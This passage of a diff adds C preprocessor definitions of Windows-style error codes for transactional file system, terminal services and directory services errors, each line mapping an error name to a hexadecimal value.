ERROR_CANT_CREATE_MORE_STREAM_MINIVERSIONS 0x1a9c +#define ERROR_REMOTE_FILE_VERSION_MISMATCH 0x1a9e +#define ERROR_HANDLE_NO_LONGER_VALID 0x1a9f +#define ERROR_NO_TXF_METADATA 0x1aa0 +#define ERROR_LOG_CORRUPTION_DETECTED 0x1aa1 +#define ERROR_CANT_RECOVER_WITH_HANDLE_OPEN 0x1aa2 +#define ERROR_RM_DISCONNECTED 0x1aa3 +#define ERROR_ENLISTMENT_NOT_SUPERIOR 0x1aa4 +#define ERROR_RECOVERY_NOT_NEEDED 0x1aa5 +#define ERROR_RM_ALREADY_STARTED 0x1aa6 +#define ERROR_FILE_IDENTITY_NOT_PERSISTENT 0x1aa7 +#define ERROR_CANT_BREAK_TRANSACTIONAL_DEPENDENCY 0x1aa8 +#define ERROR_CANT_CROSS_RM_BOUNDARY 0x1aa9 +#define ERROR_TXF_DIR_NOT_EMPTY 0x1aaa +#define ERROR_INDOUBT_TRANSACTIONS_EXIST 0x1aab +#define ERROR_TM_VOLATILE 0x1aac +#define ERROR_ROLLBACK_TIMER_EXPIRED 0x1aad +#define ERROR_TXF_ATTRIBUTE_CORRUPT 0x1aae +#define ERROR_EFS_NOT_ALLOWED_IN_TRANSACTION 0x1aaf +#define ERROR_TRANSACTIONAL_OPEN_NOT_ALLOWED 0x1ab0 +#define ERROR_LOG_GROWTH_FAILED 0x1ab1 +#define ERROR_TRANSACTED_MAPPING_UNSUPPORTED_REMOTE 0x1ab2 +#define ERROR_TXF_METADATA_ALREADY_PRESENT 0x1ab3 +#define ERROR_TRANSACTION_SCOPE_CALLBACKS_NOT_SET 0x1ab4 +#define ERROR_TRANSACTION_REQUIRED_PROMOTION 0x1ab5 +#define ERROR_CANNOT_EXECUTE_FILE_IN_TRANSACTION 0x1ab6 +#define ERROR_TRANSACTIONS_NOT_FROZEN 0x1ab7 +#define ERROR_TRANSACTION_FREEZE_IN_PROGRESS 0x1ab8 +#define ERROR_NOT_SNAPSHOT_VOLUME 0x1ab9 +#define ERROR_NO_SAVEPOINT_WITH_OPEN_FILES 0x1aba +#define ERROR_DATA_LOST_REPAIR 0x1abb +#define ERROR_SPARSE_NOT_ALLOWED_IN_TRANSACTION 0x1abc +#define ERROR_TM_IDENTITY_MISMATCH 0x1abd +#define ERROR_FLOATED_SECTION 0x1abe +#define ERROR_CANNOT_ACCEPT_TRANSACTED_WORK 0x1abf +#define ERROR_CANNOT_ABORT_TRANSACTIONS 0x1ac0 +#define ERROR_BAD_CLUSTERS 0x1ac1 +#define ERROR_COMPRESSION_NOT_ALLOWED_IN_TRANSACTION 0x1ac2 +#define ERROR_VOLUME_DIRTY 0x1ac3 +#define ERROR_NO_LINK_TRACKING_IN_TRANSACTION 0x1ac4 +#define ERROR_OPERATION_NOT_SUPPORTED_IN_TRANSACTION 0x1ac5 +#define ERROR_EXPIRED_HANDLE 0x1ac6 +#define ERROR_TRANSACTION_NOT_ENLISTED 0x1ac7 +#define ERROR_ENLISTMENT_NOT_INITIALIZED 0x1ac8 +#define ERROR_CTX_WINSTATION_NAME_INVALID 0x1b59 +#define ERROR_CTX_INVALID_PD 0x1b5a +#define ERROR_CTX_PD_NOT_FOUND 0x1b5b +#define ERROR_CTX_WD_NOT_FOUND 0x1b5c +#define ERROR_CTX_CANNOT_MAKE_EVENTLOG_ENTRY 0x1b5d +#define ERROR_CTX_SERVICE_NAME_COLLISION 0x1b5e +#define ERROR_CTX_CLOSE_PENDING 0x1b5f +#define ERROR_CTX_NO_OUTBUF 0x1b60 +#define ERROR_CTX_MODEM_INF_NOT_FOUND 0x1b61 +#define ERROR_CTX_INVALID_MODEMNAME 0x1b62 +#define ERROR_CTX_MODEM_RESPONSE_ERROR 0x1b63 +#define ERROR_CTX_MODEM_RESPONSE_TIMEOUT 0x1b64 +#define ERROR_CTX_MODEM_RESPONSE_NO_CARRIER 0x1b65 +#define ERROR_CTX_MODEM_RESPONSE_NO_DIALTONE 0x1b66 +#define ERROR_CTX_MODEM_RESPONSE_BUSY 0x1b67 +#define ERROR_CTX_MODEM_RESPONSE_VOICE 0x1b68 +#define ERROR_CTX_TD_ERROR 0x1b69 +#define ERROR_CTX_WINSTATION_NOT_FOUND 0x1b6e +#define ERROR_CTX_WINSTATION_ALREADY_EXISTS 0x1b6f +#define ERROR_CTX_WINSTATION_BUSY 0x1b70 +#define ERROR_CTX_BAD_VIDEO_MODE 0x1b71 +#define ERROR_CTX_GRAPHICS_INVALID 0x1b7b +#define ERROR_CTX_LOGON_DISABLED 0x1b7d +#define ERROR_CTX_NOT_CONSOLE 0x1b7e +#define ERROR_CTX_CLIENT_QUERY_TIMEOUT 0x1b80 +#define ERROR_CTX_CONSOLE_DISCONNECT 0x1b81 +#define ERROR_CTX_CONSOLE_CONNECT 0x1b82 +#define ERROR_CTX_SHADOW_DENIED 0x1b84 +#define ERROR_CTX_WINSTATION_ACCESS_DENIED 0x1b85 +#define ERROR_CTX_INVALID_WD 0x1b89 +#define ERROR_CTX_SHADOW_INVALID 0x1b8a +#define ERROR_CTX_SHADOW_DISABLED 0x1b8b +#define ERROR_CTX_CLIENT_LICENSE_IN_USE 0x1b8c +#define ERROR_CTX_CLIENT_LICENSE_NOT_SET 0x1b8d +#define ERROR_CTX_LICENSE_NOT_AVAILABLE 0x1b8e +#define ERROR_CTX_LICENSE_CLIENT_INVALID 0x1b8f +#define ERROR_CTX_LICENSE_EXPIRED 0x1b90 +#define ERROR_CTX_SHADOW_NOT_RUNNING 0x1b91 +#define ERROR_CTX_SHADOW_ENDED_BY_MODE_CHANGE 0x1b92 +#define ERROR_ACTIVATION_COUNT_EXCEEDED 0x1b93 +#define ERROR_CTX_WINSTATIONS_DISABLED 0x1b94 +#define ERROR_CTX_ENCRYPTION_LEVEL_REQUIRED 0x1b95 +#define ERROR_CTX_SESSION_IN_USE 0x1b96 +#define ERROR_CTX_NO_FORCE_LOGOFF 0x1b97 +#define ERROR_CTX_ACCOUNT_RESTRICTION 0x1b98 +#define ERROR_RDP_PROTOCOL_ERROR 0x1b99 +#define ERROR_CTX_CDM_CONNECT 0x1b9a +#define ERROR_CTX_CDM_DISCONNECT 0x1b9b +#define ERROR_CTX_SECURITY_LAYER_ERROR 0x1b9c +#define ERROR_TS_INCOMPATIBLE_SESSIONS 0x1b9d +#define ERROR_TS_VIDEO_SUBSYSTEM_ERROR 0x1b9e +#define ERROR_DS_NOT_INSTALLED 0x2008 +#define ERROR_DS_MEMBERSHIP_EVALUATED_LOCALLY 0x2009 +#define ERROR_DS_NO_ATTRIBUTE_OR_VALUE 0x200a +#define ERROR_DS_INVALID_ATTRIBUTE_SYNTAX 0x200b +#define ERROR_DS_ATTRIBUTE_TYPE_UNDEFINED 0x200c +#define ERROR_DS_ATTRIBUTE_OR_VALUE_EXISTS 0x200d +#define ERROR_DS_BUSY 0x200e +#define ERROR_DS_UNAVAILABLE 0x200f +#define ERROR_DS_NO_RIDS_ALLOCATED 0x2010 +#define ERROR_DS_NO_MORE_RIDS 0x2011 +#define ERROR_DS_INCORRECT_ROLE_OWNER 0x2012 +#define ERROR_DS_RIDMGR_INIT_ERROR 0x2013 +#define ERROR_DS_OBJ_CLASS_VIOLATION 0x2014 +#define ERROR_DS_CANT_ON_NON_LEAF 0x2015 +#define ERROR_DS_CANT_ON_RDN 0x2016 +#define ERROR_DS_CANT_MOD_OBJ_CLASS 0x2017 +#define ERROR_DS_CROSS_DOM_MOVE_ERROR 0x2018 +#define ERROR_DS_GC_NOT_AVAILABLE 0x2019 +#define ERROR_SHARED_POLICY 0x201a +#define ERROR_POLICY_OBJECT_NOT_FOUND 0x201b +#define ERROR_POLICY_ONLY_IN_DS 0x201c +#define ERROR_PROMOTION_ACTIVE 0x201d +#define ERROR_NO_PROMOTION_ACTIVE 0x201e +#define ERROR_DS_OPERATIONS_ERROR 0x2020 +#define ERROR_DS_PROTOCOL_ERROR 0x2021 +#define ERROR_DS_TIMELIMIT_EXCEEDED 0x2022 +#define ERROR_DS_SIZELIMIT_EXCEEDED 0x2023 +#define ERROR_DS_ADMIN_LIMIT_EXCEEDED 0x2024 +#define ERROR_DS_COMPARE_FALSE 0x2025 +#define ERROR_DS_COMPARE_TRUE 0x2026 +#define ERROR_DS_AUTH_METHOD_NOT_SUPPORTED 0x2027 +#define ERROR_DS_STRONG_AUTH_REQUIRED 0x2028 +#define ERROR_DS_INAPPROPRIATE_AUTH 0x2029 +#define ERROR_DS_AUTH_UNKNOWN 0x202a +#define ERROR_DS_REFERRAL 0x202b +#define ERROR_DS_UNAVAILABLE_CRIT_EXTENSION 0x202c +#define ERROR_DS_CONFIDENTIALITY_REQUIRED 0x202d +#define ERROR_DS_INAPPROPRIATE_MATCHING 0x202e +#define ERROR_DS_CONSTRAINT_VIOLATION 0x202f +#define ERROR_DS_NO_SUCH_OBJECT 0x2030 +#define ERROR_DS_ALIAS_PROBLEM 0x2031 +#define ERROR_DS_INVALID_DN_SYNTAX 0x2032 +#define ERROR_DS_IS_LEAF 0x2033 +#define ERROR_DS_ALIAS_DEREF_PROBLEM 0x2034 +#define ERROR_DS_UNWILLING_TO_PERFORM 0x2035 +#define ERROR_DS_LOOP_DETECT 0x2036 +#define ERROR_DS_NAMING_VIOLATION 0x2037 +#define ERROR_DS_OBJECT_RESULTS_TOO_LARGE 0x2038 +#define ERROR_DS_AFFECTS_MULTIPLE_DSAS 0x2039 +#define ERROR_DS_SERVER_DOWN 0x203a +#define ERROR_DS_LOCAL_ERROR 0x203b +#define ERROR_DS_ENCODING_ERROR 0x203c +#define ERROR_DS_DECODING_ERROR 0x203d +#define ERROR_DS_FILTER_UNKNOWN 0x203e +#define ERROR_DS_PARAM_ERROR 0x203f +#define ERROR_DS_NOT_SUPPORTED 0x2040 +#define ERROR_DS_NO_RESULTS_RETURNED 0x2041 +#define ERROR_DS_CONTROL_NOT_FOUND 0x2042 +#define ERROR_DS_CLIENT_LOOP 0x2043 +#define ERROR_DS_REFERRAL_LIMIT_EXCEEDED 0x2044 +#define ERROR_DS_SORT_CONTROL_MISSING 0x2045 +#define ERROR_DS_OFFSET_RANGE_ERROR 0x2046 +#define ERROR_DS_RIDMGR_DISABLED 0x2047 +#define ERROR_DS_ROOT_MUST_BE_NC 0x206d +#define ERROR_DS_ADD_REPLICA_INHIBITED 0x206e +#define ERROR_DS_ATT_NOT_DEF_IN_SCHEMA 0x206f +#define ERROR_DS_MAX_OBJ_SIZE_EXCEEDED 0x2070 +#define ERROR_DS_OBJ_STRING_NAME_EXISTS 0x2071 +#define ERROR_DS_NO_RDN_DEFINED_IN_SCHEMA 0x2072 +#define ERROR_DS_RDN_DOESNT_MATCH_SCHEMA 0x2073 +#define ERROR_DS_NO_REQUESTED_ATTS_FOUND 0x2074 +#define ERROR_DS_USER_BUFFER_TO_SMALL 0x2075 +#define ERROR_DS_ATT_IS_NOT_ON_OBJ 0x2076 +#define ERROR_DS_ILLEGAL_MOD_OPERATION 0x2077 +#define ERROR_DS_OBJ_TOO_LARGE 0x2078 +#define ERROR_DS_BAD_INSTANCE_TYPE 0x2079 +#define ERROR_DS_MASTERDSA_REQUIRED 0x207a +#define ERROR_DS_OBJECT_CLASS_REQUIRED 0x207b +#define ERROR_DS_MISSING_REQUIRED_ATT 0x207c +#define ERROR_DS_ATT_NOT_DEF_FOR_CLASS 0x207d +#define ERROR_DS_ATT_ALREADY_EXISTS 0x207e +#define ERROR_DS_CANT_ADD_ATT_VALUES 0x2080 +#define ERROR_DS_SINGLE_VALUE_CONSTRAINT 0x2081 +#define ERROR_DS_RANGE_CONSTRAINT 0x2082 +#define ERROR_DS_ATT_VAL_ALREADY_EXISTS 0x2083 +#define ERROR_DS_CANT_REM_MISSING_ATT 0x2084 +#define ERROR_DS_CANT_REM_MISSING_ATT_VAL 0x2085 +#define ERROR_DS_ROOT_CANT_BE_SUBREF 0x2086 +#define ERROR_DS_NO_CHAINING 0x2087 +#define ERROR_DS_NO_CHAINED_EVAL 0x2088 +#define ERROR_DS_NO_PARENT_OBJECT 0x2089 +#define ERROR_DS_PARENT_IS_AN_ALIAS 0x208a +#define ERROR_DS_CANT_MIX_MASTER_AND_REPS 0x208b +#define ERROR_DS_CHILDREN_EXIST 0x208c +#define ERROR_DS_OBJ_NOT_FOUND 0x208d +#define ERROR_DS_ALIASED_OBJ_MISSING 0x208e +#define ERROR_DS_BAD_NAME_SYNTAX 0x208f +#define ERROR_DS_ALIAS_POINTS_TO_ALIAS 0x2090 +#define ERROR_DS_CANT_DEREF_ALIAS 0x2091 +#define ERROR_DS_OUT_OF_SCOPE 0x2092 +#define ERROR_DS_OBJECT_BEING_REMOVED 0x2093 +#define ERROR_DS_CANT_DELETE_DSA_OBJ 0x2094 +#define ERROR_DS_GENERIC_ERROR 0x2095 +#define ERROR_DS_DSA_MUST_BE_INT_MASTER 0x2096 +#define ERROR_DS_CLASS_NOT_DSA 0x2097 +#define ERROR_DS_INSUFF_ACCESS_RIGHTS 0x2098 +#define ERROR_DS_ILLEGAL_SUPERIOR 0x2099 +#define ERROR_DS_ATTRIBUTE_OWNED_BY_SAM 0x209a +#define ERROR_DS_NAME_TOO_MANY_PARTS 0x209b +#define ERROR_DS_NAME_TOO_LONG 0x209c +#define ERROR_DS_NAME_VALUE_TOO_LONG 0x209d +#define ERROR_DS_NAME_UNPARSEABLE 0x209e +#define ERROR_DS_NAME_TYPE_UNKNOWN 0x209f +#define ERROR_DS_NOT_AN_OBJECT 0x20a0 +#define ERROR_DS_SEC_DESC_TOO_SHORT 0x20a1 +#define ERROR_DS_SEC_DESC_INVALID 0x20a2 +#define ERROR_DS_NO_DELETED_NAME 0x20a3 +#define ERROR_DS_SUBREF_MUST_HAVE_PARENT 0x20a4 +#define ERROR_DS_NCNAME_MUST_BE_NC 0x20a5 +#define ERROR_DS_CANT_ADD_SYSTEM_ONLY 0x20a6 +#define ERROR_DS_CLASS_MUST_BE_CONCRETE 0x20a7 +#define ERROR_DS_INVALID_DMD 0x20a8 +#define ERROR_DS_OBJ_GUID_EXISTS 0x20a9 +#define ERROR_DS_NOT_ON_BACKLINK 0x20aa +#define ERROR_DS_NO_CROSSREF_FOR_NC 0x20ab +#define ERROR_DS_SHUTTING_DOWN 0x20ac +#define ERROR_DS_UNKNOWN_OPERATION 0x20ad +#define ERROR_DS_INVALID_ROLE_OWNER 0x20ae +#define ERROR_DS_COULDNT_CONTACT_FSMO 0x20af +#define ERROR_DS_CROSS_NC_DN_RENAME 0x20b0 +#define ERROR_DS_CANT_MOD_SYSTEM_ONLY 0x20b1 +#define ERROR_DS_REPLICATOR_ONLY 0x20b2 +#define ERROR_DS_OBJ_CLASS_NOT_DEFINED 0x20b3 +#define ERROR_DS_OBJ_CLASS_NOT_SUBCLASS 0x20b4 +#define ERROR_DS_NAME_REFERENCE_INVALID 0x20b5 +#define ERROR_DS_CROSS_REF_EXISTS 0x20b6 +#define ERROR_DS_CANT_DEL_MASTER_CROSSREF 0x20b7 +#define ERROR_DS_SUBTREE_NOTIFY_NOT_NC_HEAD 0x20b8 +#define ERROR_DS_NOTIFY_FILTER_TOO_COMPLEX 0x20b9 +#define ERROR_DS_DUP_RDN 0x20ba +#define ERROR_DS_DUP_OID 0x20bb +#define ERROR_DS_DUP_MAPI_ID 0x20bc +#define ERROR_DS_DUP_SCHEMA_ID_GUID 0x20bd +#define ERROR_DS_DUP_LDAP_DISPLAY_NAME 0x20be +#define ERROR_DS_SEMANTIC_ATT_TEST 0x20bf +#define ERROR_DS_SYNTAX_MISMATCH 0x20c0 +#define ERROR_DS_EXISTS_IN_MUST_HAVE 0x20c1 +#define ERROR_DS_EXISTS_IN_MAY_HAVE 0x20c2 +#define ERROR_DS_NONEXISTENT_MAY_HAVE 0x20c3 +#define ERROR_DS_NONEXISTENT_MUST_HAVE 0x20c4 +#define ERROR_DS_AUX_CLS_TEST_FAIL 0x20c5 +#define ERROR_DS_NONEXISTENT_POSS_SUP 0x20c6 +#define ERROR_DS_SUB_CLS_TEST_FAIL 0x20c7 +#define ERROR_DS_BAD_RDN_ATT_ID_SYNTAX 0x20c8 +#define ERROR_DS_EXISTS_IN_AUX_CLS 0x20c9 +#define ERROR_DS_EXISTS_IN_SUB_CLS 0x20ca +#define ERROR_DS_EXISTS_IN_POSS_SUP 0x20cb +#define ERROR_DS_RECALCSCHEMA_FAILED 0x20cc +#define ERROR_DS_TREE_DELETE_NOT_FINISHED 0x20cd +#define ERROR_DS_CANT_DELETE 0x20ce +#define ERROR_DS_ATT_SCHEMA_REQ_ID 0x20cf +#define ERROR_DS_BAD_ATT_SCHEMA_SYNTAX 0x20d0 +#define ERROR_DS_CANT_CACHE_ATT 0x20d1 +#define ERROR_DS_CANT_CACHE_CLASS 0x20d2 +#define ERROR_DS_CANT_REMOVE_ATT_CACHE 0x20d3 +#define ERROR_DS_CANT_REMOVE_CLASS_CACHE 0x20d4 +#define ERROR_DS_CANT_RETRIEVE_DN 0x20d5 +#define ERROR_DS_MISSING_SUPREF 0x20d6 +#define ERROR_DS_CANT_RETRIEVE_INSTANCE 0x20d7 +#define ERROR_DS_CODE_INCONSISTENCY 0x20d8 +#define ERROR_DS_DATABASE_ERROR 0x20d9 +#define ERROR_DS_GOVERNSID_MISSING 0x20da +#define ERROR_DS_MISSING_EXPECTED_ATT 0x20db +#define ERROR_DS_NCNAME_MISSING_CR_REF 0x20dc +#define ERROR_DS_SECURITY_CHECKING_ERROR 0x20dd +#define ERROR_DS_SCHEMA_NOT_LOADED 0x20de +#define ERROR_DS_SCHEMA_ALLOC_FAILED 0x20df +#define ERROR_DS_ATT_SCHEMA_REQ_SYNTAX 0x20e0 +#define ERROR_DS_GCVERIFY_ERROR 0x20e1 +#define ERROR_DS_DRA_SCHEMA_MISMATCH 0x20e2 +#define ERROR_DS_CANT_FIND_DSA_OBJ 0x20e3 +#define ERROR_DS_CANT_FIND_EXPECTED_NC 0x20e4 +#define ERROR_DS_CANT_FIND_NC_IN_CACHE 0x20e5 +#define ERROR_DS_CANT_RETRIEVE_CHILD 0x20e6 +#define ERROR_DS_SECURITY_ILLEGAL_MODIFY 0x20e7 +#define ERROR_DS_CANT_REPLACE_HIDDEN_REC 0x20e8 +#define ERROR_DS_BAD_HIERARCHY_FILE 0x20e9 +#define ERROR_DS_BUILD_HIERARCHY_TABLE_FAILED 0x20ea +#define ERROR_DS_CONFIG_PARAM_MISSING 0x20eb +#define ERROR_DS_COUNTING_AB_INDICES_FAILED 0x20ec +#define ERROR_DS_HIERARCHY_TABLE_MALLOC_FAILED 0x20ed +#define ERROR_DS_INTERNAL_FAILURE 0x20ee +#define ERROR_DS_UNKNOWN_ERROR 0x20ef +#define ERROR_DS_ROOT_REQUIRES_CLASS_TOP 0x20f0 +#define ERROR_DS_REFUSING_FSMO_ROLES 0x20f1 +#define ERROR_DS_MISSING_FSMO_SETTINGS 0x20f2 +#define ERROR_DS_UNABLE_TO_SURRENDER_ROLES 0x20f3 +#define ERROR_DS_DRA_GENERIC 0x20f4 +#define ERROR_DS_DRA_INVALID_PARAMETER 0x20f5 +#define ERROR_DS_DRA_BUSY 0x20f6 +#define ERROR_DS_DRA_BAD_DN 0x20f7 +#define ERROR_DS_DRA_BAD_NC 0x20f8 +#define ERROR_DS_DRA_DN_EXISTS 0x20f9 +#define ERROR_DS_DRA_INTERNAL_ERROR 0x20fa +#define ERROR_DS_DRA_INCONSISTENT_DIT 0x20fb +#define ERROR_DS_DRA_CONNECTION_FAILED 0x20fc +#define ERROR_DS_DRA_BAD_INSTANCE_TYPE 0x20fd +#define ERROR_DS_DRA_OUT_OF_MEM 0x20fe +#define ERROR_DS_DRA_MAIL_PROBLEM 0x20ff +#define ERROR_DS_DRA_REF_ALREADY_EXISTS 0x2100 +#define ERROR_DS_DRA_REF_NOT_FOUND 0x2101 +#define ERROR_DS_DRA_OBJ_IS_REP_SOURCE 0x2102 +#define ERROR_DS_DRA_DB_ERROR 0x2103 +#define ERROR_DS_DRA_NO_REPLICA 0x2104 +#define ERROR_DS_DRA_ACCESS_DENIED 0x2105 +#define ERROR_DS_DRA_NOT_SUPPORTED 0x2106 +#define ERROR_DS_DRA_RPC_CANCELLED 0x2107 +#define ERROR_DS_DRA_SOURCE_DISABLED 0x2108 +#define ERROR_DS_DRA_SINK_DISABLED 0x2109 +#define ERROR_DS_DRA_NAME_COLLISION 0x210a +#define ERROR_DS_DRA_SOURCE_REINSTALLED 0x210b +#define ERROR_DS_DRA_MISSING_PARENT 0x210c +#define ERROR_DS_DRA_PREEMPTED 0x210d +#define ERROR_DS_DRA_ABANDON_SYNC 0x210e +#define ERROR_DS_DRA_SHUTDOWN 0x210f +#define ERROR_DS_DRA_INCOMPATIBLE_PARTIAL_SET 0x2110 +#define ERROR_DS_DRA_SOURCE_IS_PARTIAL_REPLICA 0x2111 +#define ERROR_DS_DRA_EXTN_CONNECTION_FAILED 0x2112 +#define ERROR_DS_INSTALL_SCHEMA_MISMATCH 0x2113 +#define ERROR_DS_DUP_LINK_ID 0x2114 +#define ERROR_DS_NAME_ERROR_RESOLVING 0x2115 +#define ERROR_DS_NAME_ERROR_NOT_FOUND 0x2116 +#define ERROR_DS_NAME_ERROR_NOT_UNIQUE 0x2117 +#define ERROR_DS_NAME_ERROR_NO_MAPPING 0x2118 +#define ERROR_DS_NAME_ERROR_DOMAIN_ONLY 0x2119 +#define ERROR_DS_NAME_ERROR_NO_SYNTACTICAL_MAPPING 0x211a +#define ERROR_DS_CONSTRUCTED_ATT_MOD 0x211b +#define ERROR_DS_WRONG_OM_OBJ_CLASS 0x211c +#define ERROR_DS_DRA_REPL_PENDING 0x211d +#define ERROR_DS_DS_REQUIRED 0x211e +#define ERROR_DS_INVALID_LDAP_DISPLAY_NAME 0x211f +#define ERROR_DS_NON_BASE_SEARCH 0x2120 +#define ERROR_DS_CANT_RETRIEVE_ATTS 0x2121 +#define ERROR_DS_BACKLINK_WITHOUT_LINK 0x2122 +#define ERROR_DS_EPOCH_MISMATCH 0x2123 +#define ERROR_DS_SRC_NAME_MISMATCH 0x2124 +#define ERROR_DS_SRC_AND_DST_NC_IDENTICAL 0x2125 +#define ERROR_DS_DST_NC_MISMATCH 0x2126 +#define ERROR_DS_NOT_AUTHORITIVE_FOR_DST_NC 0x2127 +#define ERROR_DS_SRC_GUID_MISMATCH 0x2128 +#define ERROR_DS_CANT_MOVE_DELETED_OBJECT 0x2129 +#define ERROR_DS_PDC_OPERATION_IN_PROGRESS 0x212a +#define ERROR_DS_CROSS_DOMAIN_CLEANUP_REQD 0x212b +#define ERROR_DS_ILLEGAL_XDOM_MOVE_OPERATION 0x212c +#define ERROR_DS_CANT_WITH_ACCT_GROUP_MEMBERSHPS 0x212d +#define ERROR_DS_NC_MUST_HAVE_NC_PARENT 0x212e +#define ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE 0x212f +#define ERROR_DS_DST_DOMAIN_NOT_NATIVE 0x2130 +#define ERROR_DS_MISSING_INFRASTRUCTURE_CONTAINER 0x2131 +#define ERROR_DS_CANT_MOVE_ACCOUNT_GROUP 0x2132 +#define ERROR_DS_CANT_MOVE_RESOURCE_GROUP 0x2133 +#define ERROR_DS_INVALID_SEARCH_FLAG 0x2134 +#define ERROR_DS_NO_TREE_DELETE_ABOVE_NC 0x2135 +#define ERROR_DS_COULDNT_LOCK_TREE_FOR_DELETE 0x2136 +#define ERROR_DS_COULDNT_IDENTIFY_OBJECTS_FOR_TREE_DELETE 0x2137 +#define ERROR_DS_SAM_INIT_FAILURE 0x2138 +#define ERROR_DS_SENSITIVE_GROUP_VIOLATION 0x2139 +#define ERROR_DS_CANT_MOD_PRIMARYGROUPID 0x213a +#define ERROR_DS_ILLEGAL_BASE_SCHEMA_MOD 0x213b +#define ERROR_DS_NONSAFE_SCHEMA_CHANGE 0x213c +#define ERROR_DS_SCHEMA_UPDATE_DISALLOWED 0x213d +#define ERROR_DS_CANT_CREATE_UNDER_SCHEMA 0x213e +#define ERROR_DS_INSTALL_NO_SRC_SCH_VERSION 0x213f +#define ERROR_DS_INSTALL_NO_SCH_VERSION_IN_INIFILE 0x2140 +#define ERROR_DS_INVALID_GROUP_TYPE 0x2141 +#define ERROR_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN 0x2142 +#define ERROR_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN 0x2143 +#define ERROR_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER 0x2144 +#define ERROR_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER 0x2145 +#define ERROR_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER 0x2146 +#define ERROR_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER 0x2147 +#define ERROR_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER 0x2148 +#define ERROR_DS_HAVE_PRIMARY_MEMBERS 0x2149 +#define ERROR_DS_STRING_SD_CONVERSION_FAILED 0x214a +#define ERROR_DS_NAMING_MASTER_GC 0x214b +#define ERROR_DS_DNS_LOOKUP_FAILURE 0x214c +#define ERROR_DS_COULDNT_UPDATE_SPNS 0x214d +#define ERROR_DS_CANT_RETRIEVE_SD 0x214e +#define ERROR_DS_KEY_NOT_UNIQUE 0x214f +#define ERROR_DS_WRONG_LINKED_ATT_SYNTAX 0x2150 +#define ERROR_DS_SAM_NEED_BOOTKEY_PASSWORD 0x2151 +#define ERROR_DS_SAM_NEED_BOOTKEY_FLOPPY 0x2152 +#define ERROR_DS_CANT_START 0x2153 +#define ERROR_DS_INIT_FAILURE 0x2154 +#define ERROR_DS_NO_PKT_PRIVACY_ON_CONNECTION 0x2155 +#define ERROR_DS_SOURCE_DOMAIN_IN_FOREST 0x2156 +#define ERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST 0x2157 +#define ERROR_DS_DESTINATION_AUDITING_NOT_ENABLED 0x2158 +#define ERROR_DS_CANT_FIND_DC_FOR_SRC_DOMAIN 0x2159 +#define ERROR_DS_SRC_OBJ_NOT_GROUP_OR_USER 0x215a +#define ERROR_DS_SRC_SID_EXISTS_IN_FOREST 0x215b +#define ERROR_DS_SRC_AND_DST_OBJECT_CLASS_MISMATCH 0x215c +#define ERROR_SAM_INIT_FAILURE 0x215d +#define ERROR_DS_DRA_SCHEMA_INFO_SHIP 0x215e +#define ERROR_DS_DRA_SCHEMA_CONFLICT 0x215f +#define ERROR_DS_DRA_EARLIER_SCHEMA_CONFLICT 0x2160 +#define ERROR_DS_DRA_OBJ_NC_MISMATCH 0x2161 +#define ERROR_DS_NC_STILL_HAS_DSAS 0x2162 +#define ERROR_DS_GC_REQUIRED 0x2163 +#define ERROR_DS_LOCAL_MEMBER_OF_LOCAL_ONLY 0x2164 +#define ERROR_DS_NO_FPO_IN_UNIVERSAL_GROUPS 0x2165 +#define ERROR_DS_CANT_ADD_TO_GC 0x2166 +#define ERROR_DS_NO_CHECKPOINT_WITH_PDC 0x2167 +#define ERROR_DS_SOURCE_AUDITING_NOT_ENABLED 0x2168 +#define ERROR_DS_CANT_CREATE_IN_NONDOMAIN_NC 0x2169 +#define ERROR_DS_INVALID_NAME_FOR_SPN 0x216a +#define ERROR_DS_FILTER_USES_CONTRUCTED_ATTRS 0x216b +#define ERROR_DS_UNICODEPWD_NOT_IN_QUOTES 0x216c +#define ERROR_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED 0x216d +#define ERROR_DS_MUST_BE_RUN_ON_DST_DC 0x216e +#define ERROR_DS_SRC_DC_MUST_BE_SP4_OR_GREATER 0x216f +#define ERROR_DS_CANT_TREE_DELETE_CRITICAL_OBJ 0x2170 +#define ERROR_DS_INIT_FAILURE_CONSOLE 0x2171 +#define ERROR_DS_SAM_INIT_FAILURE_CONSOLE 0x2172 +#define ERROR_DS_FOREST_VERSION_TOO_HIGH 0x2173 +#define ERROR_DS_DOMAIN_VERSION_TOO_HIGH 0x2174 +#define ERROR_DS_FOREST_VERSION_TOO_LOW 0x2175 +#define ERROR_DS_DOMAIN_VERSION_TOO_LOW 0x2176 +#define ERROR_DS_INCOMPATIBLE_VERSION 0x2177 +#define ERROR_DS_LOW_DSA_VERSION 0x2178 +#define ERROR_DS_NO_BEHAVIOR_VERSION_IN_MIXEDDOMAIN 0x2179 +#define ERROR_DS_NOT_SUPPORTED_SORT_ORDER 0x217a +#define ERROR_DS_NAME_NOT_UNIQUE 0x217b +#define ERROR_DS_MACHINE_ACCOUNT_CREATED_PRENT4 0x217c +#define ERROR_DS_OUT_OF_VERSION_STORE 0x217d +#define ERROR_DS_INCOMPATIBLE_CONTROLS_USED 0x217e +#define ERROR_DS_NO_REF_DOMAIN 0x217f +#define ERROR_DS_RESERVED_LINK_ID 0x2180 +#define ERROR_DS_LINK_ID_NOT_AVAILABLE 0x2181 +#define ERROR_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER 0x2182 +#define ERROR_DS_MODIFYDN_DISALLOWED_BY_INSTANCE_TYPE 0x2183 +#define ERROR_DS_NO_OBJECT_MOVE_IN_SCHEMA_NC 0x2184 +#define ERROR_DS_MODIFYDN_DISALLOWED_BY_FLAG 0x2185 +#define ERROR_DS_MODIFYDN_WRONG_GRANDPARENT 0x2186 +#define ERROR_DS_NAME_ERROR_TRUST_REFERRAL 0x2187 +#define ERROR_NOT_SUPPORTED_ON_STANDARD_SERVER 0x2188 +#define ERROR_DS_CANT_ACCESS_REMOTE_PART_OF_AD 0x2189 +#define ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE_V2 0x218a +#define ERROR_DS_THREAD_LIMIT_EXCEEDED 0x218b +#define ERROR_DS_NOT_CLOSEST 0x218c +#define 